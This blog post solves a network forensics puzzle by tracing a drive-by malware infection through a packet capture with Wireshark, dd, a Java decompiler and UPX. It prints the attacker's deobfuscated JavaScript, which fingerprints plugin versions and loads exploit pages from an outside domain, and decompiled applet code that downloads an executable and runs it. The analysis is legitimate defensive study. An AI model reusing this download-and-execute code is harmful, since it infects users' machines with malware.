Fun with Wireshark and IE Exploits

Recently I’ve written a couple of posts in which I solve puzzles that were posted as part of the Network Forensics Puzzle Contest. While the contest is long over, the puzzles are still interesting and a lot of fun. Puzzles 3 and 4 didn’t seem particularly interesting to me, but puzzle 5 did. A user gets an email with a link to an online pharmacy and is subsequently infected with a virus. We are given a packet capture and told to figure out what happened:

1. As part of the infection process, Ms. Moneymany’s browser downloaded two Java applets. What were the names of the two .jar files that implemented these applets?
2. What was Ms. Moneymany’s username on the infected Windows system?
3. What was the starting URL of this incident? In other words, on which URL did Ms. Moneymany probably click?
4. As part of the infection, a malicious Windows executable file was downloaded onto Ms. Moneymany’s system. What was the file’s MD5 hash? Hint: It ends on “91ed”.
5. What is the name of the packer used to protect the malicious Windows executable? Hint: This is one of the most popular freely-available packers seen in “mainstream” malware.
6. What is the MD5 hash of the unpacked version of the malicious Windows executable file?
7. The malicious executable attempts to connect to an Internet host using an IP address which is hard-coded into it (there was no DNS lookup). What is the IP address of that Internet host?

I’m finding that the best way to get a high-level overview of what’s contained in a packet capture is to get a list of all the HTTP requests:

This alone gives us a pretty good idea what the answer to the first three questions are. The two jar files are downloaded as part of the 4th and 5th requests, and the final request seems to suggest that the user is running IE as Administrator, but we will of course have to do more digging to confirm that.

Looking at the first request, the client is sending a GET request for true.php, and the server is sending a gzip-compressed response:


It turns out there’s a really easy way to get the decoded response (described later), but I went about it in a roundabout and stupid way because I still don’t completely know what I’m doing yet. I first saved the TCP stream and opened it in hte. I determined that “489” started at 0x340, so the actual payload must start at 0x345. Looking at the length of the response, it is plausible that it is 489 characters, so I’ll try that length first, and if it doesn’t work, I’ll try something else:
jsaxton@stalin:/data/pcap_dumps/contest05$ dd if=stream1.bin of=stream1.gz bs=1 skip=837 count=489
489+0 records in
489+0 records out
489 bytes (489 B) copied, 0.031508 s, 15.5 kB/s
jsaxton@stalin:/data/pcap_dumps/contest05$ gunzip stream1.gz

gzip: stream1.gz: unexpected end of file

I must have the wrong length. Converting 489 to hex seems to fix my problem:

jsaxton@stalin:/data/pcap_dumps/contest05$ dd if=stream1.bin of=stream1.gz bs=1 skip=837 count=1161
1161+0 records in
1161+0 records out
1161 bytes (1.2 kB) copied, 0.0392818 s, 29.6 kB/s
jsaxton@stalin:/data/pcap_dumps/contest05$ gunzip stream1.gz
jsaxton@stalin:/data/pcap_dumps/contest05$ grep jar stream1
document.write('<ap'+'plet co'+'de="my'+'f.y.Ap'+'pletX.cla'+'ss" arc'+'hive="sdfg.'+'jar" widt'+'h="300" he'+'ight="300">');
<applet code="Main.class" archive="q.jar" width="300" height="300"><param name="u" value="687474703a2f2f6e72746a6f2e65752f2f6c6f6164696e672e7068703f73706c3d6a617661646e7726"><param name="c" value="1"><param name="d" value="1"></applet>

As you can see, sdfg.jar and q.jar are the two jar files being loaded. I decided to unobfuscate this javascript a little, for what it is worth:

<html>
<body>
<br>
<script>
	document.write("<OBJECT id=jdf1 height=0 width=0 classid=clsid:CA8A9780-280D-11CF-A24D-444553540000></OBJECT>");
	var ver = jdf1.GetVersions();
	ver = ver.split(",");
	ver = ver[1].split("=");
	ver = ver[1];
	if ((ver < "7.1.4") || (ver < "8.1.7") || (ver < "9.3"))
	{
		 document.write('<iframe src="http://nrtjo.eu//pdf.php?spl=ie" width="173" height="348" frameborder="0"></iframe>');
	}
</script>
<applet code="myf.y.AppletX.class" archive="sdfg.jar" width="300" height="300">

<param name="data" value="http://nrtjo.eu//loading.php?spl=javad">
<param name="cc" value="1">
</applet>

<applet code="Main.class" archive="q.jar" width="300" height="300"><param name="u" value="687474703a2f2f6e72746a6f2e65752f2f6c6f6164696e672e7068703f73706c3d6a617661646e7726"><param name="c" value="1"><param name="d" value="1"></applet>

Since we have the packet capture, we should be able to retrieve the jar files, and this is indeed the case. There are a couple of ways to do this. Click on File->Export->Objects->HTTP, and you should see something like this:

We could save all the files, and concatenate them together using cat, but I don’t feel like concatenating 9 binary files together by hand, so I’m just going to follow the TCP stream (5), save it to disk, and use dd to extract the last 7079 bytes (that number comes from the Content-Length below):

jsaxton@stalin:/data/pcap_dumps/contest05$ ls -l stream5.bin
-rw-rw-r-- 1 jsaxton jsaxton 7599 Dec 24 12:10 stream5.bin
jsaxton@stalin:/data/pcap_dumps/contest05$ dd if=stream5.bin of=sdfg.jar bs=1 count=7079 skip=520
7079+0 records in
7079+0 records out
7079 bytes (7.1 kB) copied, 0.0227604 s, 311 kB/s
jsaxton@stalin:/data/pcap_dumps/contest05$ file sdfg.jar
sdfg.jar: Zip archive data, at least v1.0 to extract

It’s easy to do the same thing for q.jar (TCP stream 6). Now let’s check out what is in these jar files. I used this java decompiler. It seemed to work well:

Now we need to figure out what this obfuscated code does. The interesting code in sdfg.jar is in PX.class:run(). It gets the operating system name, then if we’re on a Windows system, we build a URL, download an executable, and execute it.

Rather than deobfuscate this entire Java program, I’m going to make an assumption that PX.class:run() eventually gets invoked somehow. The code looks like this:

  public Object run()
    throws Exception
  {
    if (data == null)
      return null;
    try
    {
      String str1 = "os.name";
      String str2 = "00057372001B6A6176612E7574696C2E477265676F7";
      String str3 = "Windows";
      String str4 = System.getProperty(str1);
      String str5 = "00057372001B6A6176612E7574696C2E477265676Fasd7";
      if (str4.indexOf(str3) >= 0)
      {
        int i = 1;
        if (cc != null)
          i = Integer.parseInt(cc);
        for (int j = 0; j < i; j++)
        {
          URL localURL = new URL(data + Integer.toString(j));
          localURL.openConnection();
          InputStream localInputStream = localURL.openStream();
          String str6 = "6E69656E744900166D696E696D616C44617973496E46697273745765656B4900096E6578745374616D7049001573657269616C56657273696F6E4F6E53747265616D4A000474696D655B00066669656C64737400025B495B000569735365747400025B5A4C00047A6F6E657400144C6A6176612F7574696C2F54696D655A6";
          String str7 = System.getProperty("java.io.tmpdir") + File.separator + Math.random() + ".exe";
          FileOutputStream localFileOutputStream = new FileOutputStream(str7);
          int k;
          for (int m = 0; (k = localInputStream.read()) != -1; m++) {
            localFileOutputStream.write(k);
          }
          localInputStream.close();
          localFileOutputStream.close();
          String str8 = "6E69656E744900166D696E696D616C44617973496E    46697273745765656B4900096E6578745374616D704   9001573657269616C56657273696F6E4F6E53747265   616D4A000474696D655B00066669656C64737400025B495B000569735365747400025B5A4C00047A6F6E657400144C6A6176612F7574696C2F54696D655A6";
          if (m >= 1024)
            Runtime.getRuntime().exec(str7);
        }
      }
    }
    catch (Exception localException) {
    }
    return null;
  }

Obviously the first step is to figure out what data is. It turns out this isn’t as obfuscated as you would think it would be. We just read in the data parameter, which is then passed into myf.y.PX:

String str6 = getParameter("data");
...
LoaderX.instance.bootstrapPayload(str6, str7);
...
public void bootstrapPayload(String paramString1, String paramString2)
{
	...
	Class localClass = defineClass("myf.y.PX", arrayOfByte, 0, arrayOfByte.length, localProtectionDomain);
	...
	Field localField1 = localClass.getField("data");
	...
	localField1.set(localObject2, paramString1);
	...
}

From the javascript we deobfuscated earlier, we know:
<param name=”data” value=”http://nrtjo.eu//loading.php?spl=javad”>

Going back to the HTTP object list, we see that someone downloaded a file called “loading.php?spl=javad0″. That’s the file we want (recall that PX.class:run() appends a 0 to the “data” parameter). It’s part of TCP stream 9:

Looking more closely, no Content-Length is provided, so how do we know how long the file is? RFC2616 answers our question. Looking at the header, we can see the response uses a chunked transfer-encoding, which is described in section 3.6 of RFC2616. I do not have the patience to reassemble this file, so I found a couple tools that claimed they could: tcpxtract and NetworkMiner. Unfortunately, tcpxtract failed wasn’t able to pick it up, so I had to try NetworkMiner, which actually did:

If we look at TCP stream 9 in Wireshark again, we can see that the ephemeral port used on the client is 1067, so this is the file we care about. From the problem statement, we know that some kind of packer is being used, but how do we know which one? It looks like the standard way to determine this is with a tool called PEiD, but I don’t run Windows, so I’d rather find a Linux-friendly solution before firing up a virtual machine. I found a script called packerid.py that seemed to do the trick, so long as I used a good UserDB text file.

jsaxton@stalin:/data/pcap_dumps/contest05$ ./packerid.py -D UserDB.TXT file.exe
['UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser']

Since we’re using the UPX packager, decompressing the file is simple, even on Linux:
jsaxton@stalin:/data/pcap_dumps/contest05$ upx -d -o decompressed.exe file.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

File size         Ratio      Format      Name
--------------------   ------   -----------   -----------
82432 <-     68096   82.61%    win32/pe     decompressed.exe

Unpacked 1 file.
jsaxton@stalin:/data/pcap_dumps/contest05$ md5sum decompressed.exe
0f37839f48f7fc77e6d50e14657fb96e  decompressed.exe
jsaxton@stalin:/data/pcap_dumps/contest05$ md5sum file.exe
5942ba36cf732097479c51986eee91ed  file.exe

There are several ways to determine the hardcoded IP address. The first would be to simply run strings on the executable and hope it pops up in human readable text, but that doesn’t work in this case. The second would be to reverse engineer the executable, but there is an easier way. We have the pcap file, and if the IP address is hardcoded, there won’t be a DNS lookup. Knowing that, the IP address is 213.155.29.144.

That’s enough for now, but perhaps in a future post I’ll look into this packet capture in more detail. The user clicked a malicious link, and this automatically downloaded and executed a malicious executable. It would be interesting to both analyze the remote execution method and to actually analyze the malware that was delivered as part of this attack.

Update: Part 2 of this post can be found here.